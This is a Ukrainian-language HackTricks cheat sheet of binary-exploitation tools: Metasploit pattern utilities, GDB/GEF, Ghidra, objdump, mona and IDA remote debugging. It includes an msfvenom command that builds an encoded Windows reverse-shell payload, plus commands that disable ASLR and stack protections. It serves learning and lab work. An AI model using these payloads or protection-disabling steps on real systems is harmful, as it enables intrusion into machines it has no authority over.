Exploiting Tools

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити вашу компанію рекламовану в HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks мерч
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Шеллкоди

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Встановлення

apt-get install gdb

Параметри

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Інструкції

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Хитрощі

Ті самі адреси в GDB

Під час налагодження GDB матиме трохи відмінні адреси від тих, що використовуються бінарним файлом при виконанні. Ви можете зробити так, щоб у GDB були ті самі адреси, виконавши наступне:

unset env LINES
unset env COLUMNS
set env _=<шлях> Вкажіть абсолютний шлях до бінарного файлу
Використовуйте бінарний файл, використовуючи той самий абсолютний шлях
PWD та OLDPWD повинні бути однаковими під час використання GDB та під час використання бінарного файлу

Backtrace для знаходження викликаних функцій

Коли у вас є статично зв'язаний бінарний файл, всі функції будуть належати бінарному файлу (а не зовнішнім бібліотекам). У цьому випадку буде важко визначити послідовність, яку слідує бінарний файл, щоб, наприклад, запросити введення від користувача. Ви можете легко визначити цю послідовність, запустивши бінарний файл з gdb до тих пір, поки вас не попросять ввести дані. Потім зупиніть його за допомогою CTRL+C та використайте команду bt (backtrace) для перегляду викликаних функцій:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB сервер

gdbserver --multi 0.0.0.0:23947 (в IDA вам потрібно вказати абсолютний шлях до виконуваного файлу на машині з Linux та на машині з Windows)

Ghidra

Знайти зсув стеку

Ghidra дуже корисний для знаходження зсуву для переповнення буфера завдяки інформації про позицію локальних змінних. Наприклад, у прикладі нижче, переповнення буфера в local_bc вказує на те, що вам потрібен зсув 0xbc. Більше того, якщо local_10 - це куки-захисник, це вказує на те, що для перезапису його з local_bc є зсув 0xac. Пам'ятайте, що перші 0x08, звідки зберігається RIP, належать RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Компілювати без захисту -o --> Вихід -g --> Зберегти код (GDB зможе його побачити) echo 0 > /proc/sys/kernel/randomize_va_space --> Для вимкнення ASLR в Linux

Для компіляції shellcode: nasm -f elf assembly.asm --> повертає ".o" ld assembly.o -o shellcodeout --> Виконавчий файл

Objdump

-d --> Розібрати виконавчі розділи (подивитися опкоди скомпільованого shellcode, знайти ROP Gadgets, знайти адресу функції...) -Mintel --> Синтаксис Intel -t --> Таблиця символів -D --> Розібрати все (адреса статичної змінної) -s -j .dtors --> розділ dtors -s -j .got --> розділ got -D -s -j .plt --> розділ plt декомпільований -TR --> Переміщення ojdump -t --dynamic-relo ./exec | grep puts --> Адреса "puts" для зміни в GOT objdump -D ./exec | grep "VAR_NAME" --> Адреса або статичної змінної (вони зберігаються в розділі DATA).

Core dumps

Виконайте ulimit -c unlimited перед запуском мого програми
Виконайте sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
sudo gdb --core=\<path/core> --quiet

ldd executable | grep libc.so.6 --> Адреса (якщо ASLR, то вона змінюється кожен раз) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Цикл для перевірки, чи часто змінюється адреса readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Зсув "system" strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Зсув "/bin/sh"

strace executable --> Функції, які викликаються виконавчим файлом rabin2 -i ejecutable --> Адреса всіх функцій

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Відлагодження віддалено в Linux

У папці IDA ви можете знайти виконувані файли, які можна використовувати для відлагодження бінарного файлу в Linux. Для цього перемістіть виконуваний файл linux_server або linux_server64 на Linux-сервер та запустіть його всередині папки, що містить бінарний файл:

./linux_server64 -Ppass

Потім налаштуйте відлагоджувач: Відлагоджувач (віддалений linux) --> Опції процесу...: